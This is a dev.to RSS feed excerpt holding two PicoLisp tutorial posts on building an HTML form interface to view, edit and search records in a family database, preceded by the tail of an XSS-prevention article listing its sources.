&lt;li&gt;Consider to use scanning tools to double-check your application.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The good news is: &lt;strong&gt;XSS exploits are easy to exploit, but also quite easy to prevent.&lt;/strong&gt; Always follow these two rules and your application should be safe!&lt;/p&gt;




&lt;h1&gt;
  
  
  Sources
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://owasp.org/www-community/attacks/xss/"&gt;https://owasp.org/www-community/attacks/xss/&lt;/a&gt;
Hacker icon: &lt;a href="https://www.flaticon.com/de/autoren/those-icons" title="Those Icons"&gt;Those Icons&lt;/a&gt; from &lt;a href="https://www.flaticon.com/de/" title="Flaticon"&gt;&lt;/a&gt;&lt;a href="http://www.flaticon.com"&gt;www.flaticon.com&lt;/a&gt;
academy.hackthebox.com&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>picolisp</category>
      <category>database</category>
      <category>lisp</category>
      <category>functional</category>
    </item>
    <item>
      <title>Creating a User Interface for Data Modification, Part 2</title>
      <dc:creator>Mia</dc:creator>
      <pubDate>Sun, 08 May 2022 15:38:58 +0000</pubDate>
      <link>https://dev.to/miatemma/creating-a-user-interface-for-data-modification-part-2-2ck3</link>
      <guid>https://dev.to/miatemma/creating-a-user-interface-for-data-modification-part-2-2ck3</guid>
      <description>&lt;p&gt;In the last post, we created a HTML page that displayed the database records in a HTML form. However, all fields of this form were disabled and read-only. Now we will see how to enable the fields, and how to search in data and add these to the table.&lt;/p&gt;




&lt;h3&gt;
  
  
  Enabling the fields
&lt;/h3&gt;

&lt;p&gt;The easiest way to enable all fields for an edit mode is by adding an &lt;code&gt;editButton&lt;/code&gt;. The syntax is as easy as it can be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(form NIL
   (&amp;lt;h2&amp;gt; NIL (&amp;lt;id&amp;gt; (: nm)))
   ( editButton T )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This renders a button that says &lt;code&gt;EDIT&lt;/code&gt; while the fields are disabled. On pressing it, all input fields are enabled and it the button label changes to &lt;code&gt;DONE&lt;/code&gt;. Let's test it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--BZfhWrDx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634581777184/P43_ujP2x.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--BZfhWrDx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634581777184/P43_ujP2x.gif" alt="elizabeth2b.gif" width="880" height="554"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note also how the input field is &lt;em&gt;suggesting&lt;/em&gt; data as soon as we type into the field, thanks to the &lt;code&gt;+Obj&lt;/code&gt; prefix class.&lt;/p&gt;




&lt;h3&gt;
  
  
  Searching and choosing data
&lt;/h3&gt;

&lt;p&gt;A very common requirement for a database is to search for data and choose items from the values we receive back.&lt;/p&gt;

&lt;p&gt;The easiest form to implement this is via the predefined GUI element &lt;code&gt;choDlg&lt;/code&gt; (for "choose dialog"). It takes one argument, the "destination" &lt;code&gt;Dst&lt;/code&gt;, which is &lt;code&gt;0&lt;/code&gt; for standalone GUI elements and any number for a GUI element within a chart.&lt;/p&gt;

&lt;p&gt;Let's say we want to be able to search persons by their name. We can define a function called &lt;code&gt;choPerson&lt;/code&gt; function like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(de choPerson (Dst)
   (choDlg Dst "Persons" '(nm +Person)) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Now we can insert &lt;code&gt;(choPerson Dst)&lt;/code&gt; anywhere we want to be able to replace a record by searching for a new one. Specifically, these would be the records for mother, father, partner and kids, as these are also &lt;code&gt;+Person&lt;/code&gt; objects. So let's add &lt;code&gt;choPerson&lt;/code&gt; and see what happens:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(&amp;lt;grid&amp;gt; 5
   ... 
   (choPerson 0)
   "Father"
   (gui '(+E/R +Obj +TextField) '(pa : home obj) '(nm +Man) 30)
   ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Note we also have to increase the grid from 4 to 5 because the &lt;code&gt;choPerson&lt;/code&gt; is a standalone element.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;After this modification, we see small &lt;code&gt;+&lt;/code&gt; buttons next to the input fields.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--dTHknra0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634582085777/6hjhuO_2U.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--dTHknra0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634582085777/6hjhuO_2U.png" alt="plusbutton.png" width="453" height="90"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;What happens if we press "Edit" and then the &lt;code&gt;choPerson&lt;/code&gt; button? We get a dialog with a search field and a list of results. If we click on the name, we get forwarded to this record's page. If we click on the &lt;code&gt;@&lt;/code&gt; symbol, this record gets added to the currently open page, to the field which is connected to the &lt;code&gt;choPerson&lt;/code&gt; button.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--JdQjpYuf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634582056324/vyo9VETyd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--JdQjpYuf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634582056324/vyo9VETyd.png" alt="ed.png" width="880" height="235"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With clicking on &lt;code&gt;cancel&lt;/code&gt;, the dialog closes.&lt;/p&gt;




&lt;p&gt;Let's test it!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--J9-Aj1I---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634582177556/BK9o56Yf7.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--J9-Aj1I---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634582177556/BK9o56Yf7.gif" alt="georgeiv.gif" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Adding the &lt;code&gt;Treeview&lt;/code&gt; function
&lt;/h3&gt;

&lt;p&gt;Now let's bring our current view on the data and our previous &lt;code&gt;Treeview&lt;/code&gt; function together. Let's add a link to the treeview page in form of a button:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gui '(+Rid +Button) "Tree View"
   '(url "!treeReport" (: home obj)) ) ) ) ) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Due to the &lt;code&gt;+Rid&lt;/code&gt; prefix class, the button is always enabled, even if the rest of the form is not. The button is labelled preview and is calling the function &lt;code&gt;treeReport&lt;/code&gt; with the current object as argument.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--bFQHH9qV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634583619072/_hfiHCbMd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--bFQHH9qV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634583619072/_hfiHCbMd.png" alt="treeview.png" width="358" height="146"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;When we click it, we get re-directed to our previously designed &lt;code&gt;treeReport&lt;/code&gt; page. T&lt;/p&gt;

&lt;p&gt;As last step, let's re-define our links in the tree report so that clicking on a name directs us back to that person's record page. We can use again the &lt;code&gt;url&amp;gt;&lt;/code&gt; method of the object for this by using the &lt;code&gt;mkUrl&lt;/code&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(&amp;lt;href&amp;gt; (: nm) (mkUrl @))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates a relative link to our function &lt;code&gt;person&lt;/code&gt; with the person's object as &lt;code&gt;*ID&lt;/code&gt; argument. However, this could throw an error if the object is &lt;code&gt;NIL&lt;/code&gt;. So we need to check it first using the &lt;code&gt;try&lt;/code&gt; function, which takes a method and an object as arguments, and optionally further arguments (here &lt;code&gt;1&lt;/code&gt; for the tab - i. e. we want our current tab to change).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(when (try 'url&amp;gt; This 1)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this, we can jump between record and treeview as we wish:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4PVxG0Qi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634584566829/B0cvJJXas.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4PVxG0Qi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634584566829/B0cvJJXas.gif" alt="treeview.gif" width="880" height="581"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;You can find the source code of this example &lt;a href="https://gitlab.com/picolisp-blog/web-applications/-/blob/main/database/family-edit.l"&gt;here&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://software-lab.de/doc/index.html"&gt;https://software-lab.de/doc/index.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://software-lab.de/doc/app.html"&gt;https://software-lab.de/doc/app.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>picolisp</category>
      <category>lisp</category>
      <category>functional</category>
      <category>database</category>
    </item>
    <item>
      <title>Creating a User Interface for Data Modification, Part 1</title>
      <dc:creator>Mia</dc:creator>
      <pubDate>Fri, 06 May 2022 08:29:30 +0000</pubDate>
      <link>https://dev.to/miatemma/creating-a-user-interface-for-data-modification-part-1-2n66</link>
      <guid>https://dev.to/miatemma/creating-a-user-interface-for-data-modification-part-1-2n66</guid>
      <description>&lt;p&gt;Of course we don't only want to be able to display the data, but also modify it. In this post, we will use the PicoLisp GUI to display the data and enable the data modification in a HTML form sheet.&lt;/p&gt;

&lt;p&gt;In the first step, we will simply build a page that allows us to display the data and jump between the records:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--aMgyCksd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634578620075/lQRPL7S7K.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--aMgyCksd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634578620075/lQRPL7S7K.gif" alt="familytable.gif" width="880" height="500"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Set-up of the file
&lt;/h3&gt;

&lt;p&gt;The structure of the program builds up on the previous post, which is used as a basis. We will use &lt;a href="https://gitlab.com/picolisp-blog/web-applications/-/blob/main/database/family-treeview.l"&gt;this file&lt;/a&gt; and extend it.&lt;/p&gt;




&lt;p&gt;Let's create a new function called &lt;code&gt;person&lt;/code&gt; and add it to the &lt;code&gt;allowed&lt;/code&gt; script. Also let's start the server with it. The rest stays the same. We call the new file &lt;code&gt;family-edit.l&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;### Modify / add following lines:

(allowed ("css/")
   "@lib.css" "!treeReport" "!person")
...

(de person ())
...

(de go ()
   (rollback)
   (server 8080 "!person") )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function &lt;code&gt;person&lt;/code&gt; shall be the function where we can display all relevant data about a record (i. e. a person) at one glance. We want to display the data as a form field, and be able to toggle between read and edit mode using an "Edit" button.&lt;/p&gt;




&lt;p&gt;The first thing we need is to create the standard HTML function including the session start-up. On this page, we will not use the bootstrap CSS classes because we will use many pre-defined PicoLisp gui functions that don't work well with Bootstrap.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(de person () 
   (app)
   (action
      (html 0 "Person" "@lib.css" NIL
         (form NIL
]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;The bracket &lt;code&gt;]&lt;/code&gt; closes all open parentheses. This can be useful in the development.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Like in the previous examples, we can start it with &lt;code&gt;$ pil family-edit.l -family~main -go +&lt;/code&gt; and when we point the browser to &lt;a href="http://localhost:8080"&gt;http://localhost:8080&lt;/a&gt;, we should see an empty tab with title "Person".&lt;/p&gt;




&lt;h3&gt;
  
  
  Getting the database item
&lt;/h3&gt;

&lt;p&gt;How does the form "know" which database item we want to display? This is controlled by &lt;strong&gt;calling the &lt;code&gt;&amp;lt;id&amp;gt;&lt;/code&gt; function&lt;/strong&gt; somewhere within the form. &lt;code&gt;&amp;lt;id&amp;gt;&lt;/code&gt; binds the output to the global variable &lt;code&gt;*ID&lt;/code&gt;. So we need to do two things: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Adding &lt;code&gt;&amp;lt;id&amp;gt;&lt;/code&gt; to our form,&lt;/li&gt;
&lt;li&gt;Appending an &lt;code&gt;*ID&lt;/code&gt; parameter to the URL.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For example, we could call &lt;code&gt;&amp;lt;id&amp;gt;&lt;/code&gt; in the title of our form. &lt;code&gt;( &amp;lt;id&amp;gt; (: nm ))&lt;/code&gt; will set &lt;code&gt;*ID&lt;/code&gt; to the current object and display its name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(form NIL
   (&amp;lt;h2&amp;gt; NIL (&amp;lt;id&amp;gt; (: nm)))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we point the browser now to &lt;a href="http://localhost:8080/?*ID=-A1"&gt;http://localhost:8080/?*ID=-A1&lt;/a&gt;, we see this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4aoSLmdN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634556217301/mz4p9qNUI.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4aoSLmdN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634556217301/mz4p9qNUI.png" alt="idfield.png" width="880" height="351"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  The &lt;code&gt;+E/R&lt;/code&gt; prefix class
&lt;/h3&gt;

&lt;p&gt;Now that we have specified the current object, we can display its data in a form. In order to access the database object, we will use the &lt;code&gt;+E/R&lt;/code&gt; and &lt;code&gt;+Obj&lt;/code&gt; prefix classes.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;a href="https://picolisp-blog.hashnode.dev/web-application-programming-in-picolisp-introducing-the-gui-framework"&gt;Read here&lt;/a&gt; for an introduction to the PicoLisp Form GUI and &lt;a href="https://picolisp-blog.hashnode.dev/web-application-programming-in-picolisp-prefix-classes"&gt;here&lt;/a&gt; for more on Prefix classes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Just like we can add styles using &lt;code&gt;+Styles&lt;/code&gt; and bind variables to a GUI element using &lt;code&gt;+Val&lt;/code&gt;, we can also connect a database entity using the &lt;code&gt;+E/R&lt;/code&gt; class. The syntax is pretty straightforward:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gui '(+E/R +TextField) '(nm : home obj) 40 "Name")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates a textfield which is connected to the &lt;code&gt;nm&lt;/code&gt; ("name") property of the &lt;code&gt;home obj&lt;/code&gt;. The &lt;code&gt;home obj&lt;/code&gt; is the object that belongs to the current form, i. e. the record that is specified via the global variable &lt;code&gt;*ID&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Analogously, we can get the birth and death date like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"born" (gui '(+E/R +DateField) '(dat : home obj) 10)
"died" (gui '(+E/R +DateField) '(fin : home obj) 10)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--gR_KyKA6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634578775966/f9YtpsWvt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--gR_KyKA6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634578775966/f9YtpsWvt.png" alt="diana.png" width="356" height="179"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  The &lt;code&gt;+ClassField&lt;/code&gt; form element
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;+ClassField&lt;/code&gt; form element can be used to display and change the class of an object. For example, this example renders a drop-down menu which shows either "Male" or "Female" as current value:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gui '(+ClassField) '(: home obj) '(("Male" +Man) ("Female" +Woman))) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vS3okKq6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634578726456/ddlSG-n6S4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vS3okKq6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634578726456/ddlSG-n6S4.png" alt="class.png" width="621" height="89"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  The &lt;code&gt;+Obj&lt;/code&gt; Prefix class
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;+Obj&lt;/code&gt; prefix class is used to hold a specific object. This way, a DB object becomes a first class GUI item just like the primitives string, number etc. In addition, &lt;code&gt;+Obj&lt;/code&gt; supplies suggestions from the database, using &lt;code&gt;dbHint&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;What does that mean? Let's take the person's partner field as an example. The person's partner is also an object, connected by the property &lt;code&gt;mate&lt;/code&gt;. Since we use &lt;code&gt;+Obj&lt;/code&gt;, we can now access the record's name like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gui '(+E/R +Obj +TextField) '(mate : home obj) '(nm +Person) 30) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Zjk4Y9k0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634578816180/90YGcmwci.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Zjk4Y9k0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634578816180/90YGcmwci.png" alt="objclass.png" width="430" height="89"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;code&gt;+Obj&lt;/code&gt; also offers two nice additional features: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Suggestions if we want to change the partner's name (we'll see that later in the edit mode!),&lt;/li&gt;
&lt;li&gt;A pencil that executes a predefined function if we click on it. If no function is specified, the &lt;code&gt;url&amp;gt;&lt;/code&gt; method is taken.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let's say we want to see the partner's record overview when we click on the pencil. In other words, we want to change the &lt;code&gt;*ID&lt;/code&gt; in the URL to the partner's record.&lt;/p&gt;

&lt;p&gt;Let's define a method &lt;code&gt;url&amp;gt;&lt;/code&gt; that does just this in our &lt;code&gt;+Person&lt;/code&gt; class model:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;### DB ###
(class +Person +Entity)
(rel nm (+Need +Sn +Idx +String))      # Name
...
(rel txt (+String))                    # Info

(dm url&amp;gt; (Tab)
   (list "!person" '*ID This) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;url&amp;gt;&lt;/code&gt; takes a &lt;code&gt;(Tab)&lt;/code&gt; argument specifying which tab should be opened (which is obviously only interesting in an application with several tabs - not so much in our single page app).&lt;/p&gt;

&lt;p&gt;You could see the output in the animated GIF above: when we click on the pen, the page jumps to display this record.&lt;/p&gt;




&lt;h3&gt;
  
  
  Creating a table using &lt;code&gt;+Chart&lt;/code&gt; and &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Like already shown in the &lt;a href="https://picolisp-blog.hashnode.dev/how-to-create-a-to-do-app-in-picolisp-desktop-version"&gt;To-Do App example&lt;/a&gt;, we can use the &lt;code&gt;+Chart&lt;/code&gt; in combination with &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; to display data in a grid together with some predefined action buttons.&lt;/p&gt;

&lt;p&gt;First, we define the data used in the chart, which is the &lt;code&gt;kids&lt;/code&gt; property of the current object. &lt;code&gt;+Chart&lt;/code&gt; expects a numeric argument as number of columns. Additionally, we can call two functions: The first one gets called when the chart is filled with data; the second one gets called when the data is read.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gui '(+E/R +Chart) '(kids : home obj) 7
   '((This) (list NIL This (: dat) (: pa) (: ma)))
   cadr )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What does that mean?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; &lt;code&gt;'((This) (list NIL This (: dat) (: pa) (: ma)))&lt;/code&gt; creates &lt;strong&gt;a list of lists&lt;/strong&gt; out of the &lt;code&gt;(kids : home obj&lt;/code&gt; data, i. e.  exactly one value per column and row.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cadr&lt;/code&gt; is equivalent to the &lt;strong&gt;&lt;a href="https://picolisp-blog.hashnode.dev/60-picolisp-functions-you-should-know-6-lists-and-strings"&gt;second item of a list&lt;/a&gt;&lt;/strong&gt;, which corresponds to the actual child object. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It might be a bit confusing, but it should clarify if you check the actual table output and its function.&lt;/p&gt;




&lt;p&gt;After we defined the input value, we can define the table. The &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; function takes the argument "attributes", "title", "head" and "program". Let's set attributes and title to &lt;code&gt;NIL&lt;/code&gt; and define the head as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(&amp;lt;table&amp;gt; NIL NIL
   '(NIL (NIL "Children") (NIL "born") (NIL "Father") (NIL "Mother"))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then we create our input fields just like specified above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(do 6
   (&amp;lt;row&amp;gt; NIL 
      (choPerson 1)
      (gui 2 '(+Obj +TextField) '(nm +Person) 20)
      (gui 3 '(+Lock +DateField) 10)
      (gui 4 '(+ObjView +TextField) '(: nm) 20)
      (gui 5 '(+ObjView +TextField) '(: nm) 20)
      (gui 6 '(+DelRowButton))
      (gui 7 '(+BubbleButton)) ) )
   (&amp;lt;row&amp;gt; NIL NIL (scroll 6 T)) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Please ignore &lt;code&gt;choPerson&lt;/code&gt; for the moment, we will come back to that in the next post.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--dSAjt0g5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634578900059/k3SS-HiYI.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--dSAjt0g5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634578900059/k3SS-HiYI.png" alt="table.png" width="880" height="181"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Output table finished!
&lt;/h3&gt;

&lt;p&gt;Let's apply a little bit of formatting. PicoLisp has a built-in function &lt;code&gt;&amp;lt;grid&amp;gt;&lt;/code&gt; that formats in rows and columns similar to a table. Each four "elements" will be placed in one row, and the width is determined by the longest item.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(&amp;lt;grid&amp;gt; 4
   "Occupation" (gui '(+E/R +TextField) '(job : home obj) 20)
   "Father" (gui '(+E/R +Obj +TextField) '(pa : home obj) '(nm +Man) 30)
   "born" (gui '(+E/R +DateField) '(dat : home obj) 10)
   "Mother" (gui '(+E/R +Obj +TextField) '(ma : home obj) '(nm +Woman) 30)
   ... )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ARTqDKMF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634579425536/HcqWJBIcN.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ARTqDKMF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1634579425536/HcqWJBIcN.png" alt="grid.png" width="813" height="91"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Setting a default starting point
&lt;/h3&gt;

&lt;p&gt;Lastly, let's define a default starting point for our application. This means that a default record should be loaded when we point the browser to &lt;a href="http://localhost:8080"&gt;http://localhost:8080&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;How can we do that? First thing, we need to set the &lt;code&gt;val&lt;/code&gt; of our &lt;code&gt;*DB&lt;/code&gt; global variable, for example to record &lt;code&gt;{A12}&lt;/code&gt; (Queen Elizabeth). In the REPL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ family-edit.l -family~main +
family: (set *DB '{A12})
-&amp;gt; {A12}
family: (show *DB)
{1} {A12}
   +Woman {3}
   +Person {2}
   +Man {4}
-&amp;gt; {1}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






